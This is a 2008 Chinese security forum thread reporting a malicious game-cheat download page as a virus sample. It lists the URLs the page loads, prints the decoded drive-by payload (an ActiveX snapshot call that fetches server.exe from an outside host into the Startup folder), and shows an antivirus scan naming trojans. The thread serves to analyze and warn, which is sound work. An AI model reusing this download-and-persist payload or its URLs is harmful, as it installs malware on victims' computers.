http://www.xixiwg.com/Soft/14304.html

显示全部楼层 · 发表于 2008-10-18 14:57:18

显示全部楼层 · 发表于 2008-10-18 15:01:32

召唤解密高手啊`= =

显示全部楼层 · 发表于 2008-10-18 15:12:17

用网页解密器试试看

显示全部楼层 · 发表于 2008-10-18 15:31:25

外挂的?
关于:hxxp://www.xixiwg.com/Soft/14304.html解密的日志(全体输出- 18):

Level 1>http://www.xixiwg.com/soft/14304.html
Level 1>http://down.xixiwg.com/xixiwg/20080606/cf0816.rar
Level 1>http://wangtong.xixiwg.com/xixiwg/20080606/cf0816.rar
Level 1>http://dx.xixiwg.com/xixiwg/20080606/cf0816.rar
Level 1>http://wt.xixiwg.com/xixiwg/20080606/cf0816.rar
Level 1>http://down.xixiwg.com/xixiwg/20060310/winrar.exe
Level 1>http://www.xixiwg.com/soft/myimg.src
Level 1>http://www.xixiwg.com/soft/atop/760_60.htm
Level 1>http://www.xixiwg.com/soft/atop/160_250.htm
Level 1>http://www.xixiwg.com/soft/atop/adgg.js
Level 1>http://www.google-analytics.com/urchin.js
Level 1>http://www.xixiwg.com/soft/atop/468_60.htm
Level 1>http://www.xixiwg.com/soft/../softlist_js/1_162.js
Level 1>http://www.xixiwg.com/soft/atop/300_300.htm
Level 1>http://www.xixiwg.com/soft/downtj.asp?id=14304
Level 1>http://www.google-analytics.com/_ugifpath+?+utmwv=+_uwv+s
Level 1>http://www.google-analytics.com/_ugifpath2+?+utmwv=+_uwv+s+&utmac=+_uacct+&utmcc=+c
Level 1>http://www.google-analytics.com/_ugifpath2+?+utmwv=+_uwv+s+&utmac=+_uacct+&utmcc=+_ugcs

>存在于特定类型文件列表中的网址有:
>http://down.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://wangtong.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://dx.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://wt.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://dx.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://down.xixiwg.com/xixiwg/20060310/winrar.exe
>http://down.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://wangtong.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://dx.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://wt.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://dx.xixiwg.com/xixiwg/20080606/cf0816.rar
>http://down.xixiwg.com/xixiwg/20060310/winrar.exe

显示全部楼层 · 发表于 2008-10-18 15:32:07

---------------------------
Windows Internet Explorer
---------------------------
var buf1='http://www.biaoqing365.cn/server.exe';var buf2='C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Thunder.exe';obj.SnapshotPath=buf1;obj.CompressedPath=buf2;obj.PrintSnapshot();
---------------------------
确定
---------------------------

显示全部楼层 · 发表于 2008-10-18 15:34:48

E:\server.exe
E:\server.exe - 可能已被感染了： MULDROP.Trojan
>E:\server.exe\data001 可能已被感染了： DLOADER.Trojan
>E:\server.exe\data002 - 确定
E:\server.exe - 发现压缩文件中有被感染的对象
E:\server.exe:Zone.Identifier - 确定

[病毒样本] http://www.xixiwg.com/Soft/14304.html

回复 1楼 spicalhook 的帖子